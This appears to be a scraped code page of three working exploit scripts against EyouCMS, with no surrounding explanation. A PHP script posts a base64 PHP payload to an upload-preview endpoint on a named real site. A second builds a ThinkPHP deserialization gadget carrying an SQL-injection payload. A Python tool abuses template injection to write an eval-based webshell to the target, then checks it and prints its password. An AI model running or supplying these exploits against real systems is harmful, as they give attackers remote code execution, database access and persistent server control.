1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23

<?php
//eyoucms getshell漏洞检测
function request_post($url = '', $param = '')
{
if(empty($url) || empty($param))
{
return false;
}
$postUrl = $url;
$curlPost = $param;
$ch = curl_init();
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_URL, $postUrl);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, $curlPost);
$data = curl_exec($ch);
$return_content = curl_multi_getcontent($ch);
return $return_content;
}
$return_content = request_post("https://www.cesafe.com/index.php/api/Uploadify/preview", "data:image/php;base64,PD9waHAgcGhwaW5mbygpOw==");
echo $return_content;
?>

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34

<?php
namespace think;
abstract class Model{
    protected $append = [];
    protected $data = [];
    protected $insert = [];
    protected $pk;
    protected $field = [];
    protected $table;
    protected $isUpdate = false;
    protected $updateWhere;
    function __construct(){
        $this->append = ["vaaa"=>"save"];
        $this->data = ["username"=>"asda2122"];
        $this->pk = "users";
        $this->table = "ey_users";
        $this->field = ['users_id','username'];
        $this->isUpdate = true;
        $this->updateWhere = "users_id = 5) and (extractvalue(1,concat(0x5c,(select user()))))#";
    }
}

namespace think\model;
use think\Model;
class Pivot extends Model
{
}


use think\model\Pivot;
$arr['moneyid'] = 1;
$arr['order_number'] = new Pivot;
echo base64_encode(serialize($arr));
?>

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103

#!/usr/bin/python
 -*- coding: UTF-8 -*-
import requests
import sys,getopt
import json,base64
import time
 
class Eyoucms:
    session = None
    headers = None
    password = "ceshi"
    output = "ceshi"
    requesturi = "/?m=api&c=ajax&a=get_tag_memberlist"
 
    def __init__(self,headers):
        self.headers = headers
        self.getparam(sys.argv[1:])
        self.requestsdata = {
            "attarray":self.createpyload(),
            "htmlcode":time.time()
        }
        self.run()
 
    def getparam(self,argv):
        try:
            options, args = getopt.getopt(argv, "h:u:p:o:", ["help", "url=","password=","output="])
        except getopt.GetoptError:
            print 'eyoucms-ssti.py -u url -p password -o outputfile'
            return
        for option, value in options:
            if option in ("-h", "--help"):
                print 'eyoucms-ssti.py -u url'
            if option in ("-u", "--url"):
                if(self.request(value).status_code != 404):
                    self.url = value
            if option in ("-p", "--password"):
                    if(value != None):
                        self.password = value
                    else:
                        self.password = "ceshi"
            if option in ("-o", "--output"):
                    if(value != None):
                        self.output = value.replace(".php","")
                    else:
                        self.output = "ceshi"
 
    def run(self):
        url = self.url.rstrip('/')+self.requesturi
        print "[+] 正在请求目标地址:%s"%(url)
        if(self.request(url).status_code == 200):
            print "[*] 目标地址%s存活"%url
        else:
            print "[-] 目标地址%s探测失败"%url
            return
        print "[+] 正在向目标地址%s写入%s.php"%(url,self.output)
        if(self.request(url,"post").status_code == 200):
            print "[*] 疑似成功写入Webshell"
        shell = self.url.rstrip('/')+"/%s.php"%self.output
        print "[+] 正在探测Webshell(%s)是否存活"%(shell)
        if(self.request(shell).status_code == 200):
            print "[*] Webshell(%s)已存活\n[*] 密码：%s"%(shell,self.password)
 
 
    def createpyload(self):
        short = base64.b64encode("<php eval($_REQUEST[%s]);?>"%self.password)
        file = self.output
        payload = {
            "{php}1{/php}":"{php}file_put_contents('./%s.php',base64_decode('%s'));{/php}"%(file,short)
        }
        return base64.b64encode(json.dumps(payload))
 
    def request(self,url,method="get"):
        respone = None
        if(not self.session):
            self.session = requests.Session()
        if(method == "get"):
            try:
                respone = self.session.get(url=url,headers=self.headers)
            except requests.exceptions.ConnectTimeout:
                print "[-] 请求%s超时"%url
                return
            except requests.exceptions.ConnectionError:
                print "[-] 请求%s无效"%url
                return
            return respone
        elif(method == "post"):
            try:
                respone = self.session.post(url=url,data=self.requestsdata,headers=self.headers)
            except requests.exceptions.ConnectTimeout:
                print "[-] 请求%s超时"%url
                return
            except requests.exceptions.ConnectionError:
                print "[-] 请求%s无效"%url
                return
        return respone
 
if __name__ == "__main__":
     
    headers = {
        "User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:70.0) Gecko/20100101 Firefox/70.0",
        "X-Requested-With":"XMLHttpRequest"
    }
    Eyoucms(headers)